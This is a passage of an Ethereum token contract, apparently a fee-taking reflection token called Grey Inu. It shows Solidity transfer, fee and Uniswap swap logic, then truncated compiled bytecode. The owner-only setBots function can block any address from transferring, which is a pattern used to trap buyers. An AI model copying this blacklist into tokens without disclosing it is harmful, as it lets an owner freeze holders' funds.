require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600881526020017f4772657920496e75000000000000000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4752494e55000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550673afb087b876900006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b61227884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600